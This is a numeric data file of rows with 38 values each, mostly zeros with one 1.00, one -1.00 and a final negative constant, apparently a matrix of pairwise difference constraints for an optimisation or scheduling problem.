0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 -29.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -47.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -44.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -78.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -47.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 -89.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -91.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -36.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -87.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -6.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -36.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -57.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -6.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -4.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -36.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -32.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -6.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -50.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -36.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 -29.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -6.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -36.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -44.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -6.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -78.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -36.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 -89.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -6.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -91.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -87.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -57.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -4.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -87.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -32.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -50.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -87.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 -29.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -87.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -44.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -78.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -87.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 -89.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -34.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -91.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -57.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -32.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -4.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -50.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -57.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 -29.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -4.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -57.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -44.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -4.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -78.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -57.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 -89.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -4.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -91.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 -32.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 -29.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 -50.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 -32.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 -44.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 -50.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -78.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 -32.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 -89.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 -50.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -91.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 -29.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 -44.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 0.00 -78.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 -29.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 -89.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 -1.00 0.00 -40.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 1.00 0.00 -91.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 0.00 -44.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 0.00 -89.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 -1.00 0.00 -78.00
0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 1.00 0.00 -91.00
1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 -12.00
0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 -45.00
